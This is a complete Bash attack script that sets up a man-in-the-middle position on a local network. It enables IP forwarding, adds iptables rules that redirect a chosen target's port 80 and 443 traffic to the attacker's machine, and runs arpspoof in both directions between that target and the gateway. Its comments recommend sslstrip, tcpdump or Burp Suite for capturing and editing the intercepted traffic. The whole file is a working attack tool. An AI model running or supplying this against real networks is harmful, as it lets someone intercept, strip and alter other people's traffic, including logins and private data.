Bash script to set up MiTM attack using arpspoof

https_mitm.sh

#!/bin/bash

# This script only sets up the interception mechanism, placing your machine
# in the middle of target and gateway. 
# In order to actually capture and view/edit the traffic either run
# sslstrip to bypass SSL and tcpdump to capture packets, or 
# Burp Suite (auto-generates certificates), or any other similar tool(s)

if [ "$#" -ne 1 ]; then
    echo "Usage: bash mitm_https.sh targetIP"
fi

function handle_proc {
    # Storing the background process' PID.
    bg_pid=$!

    # Trapping SIGINTs/SIGTERMs so we can send them back to $bg_pid.
    trap "kill -15 $bg_pid" 2 15
    
    # In the meantime, wait for $bg_pid to end.
    # wait $bg_pid
}

# fetch IPs
trgt=$1
me=$(ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1  -d'/')
gw=$(/sbin/ip route | awk '/default/ { print $3 }')

# enable forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# rules to allow forwarding
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination ${me}
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination ${me}

# make gw, target communicate through me
cmd1="arpspoof -t ${gw} ${trgt}"
nohup $cmd1 &
handle_proc

cmd2="arpspoof -t ${trgt} ${gw}"
nohup $cmd2 &
handle_proc
wait $bg_pid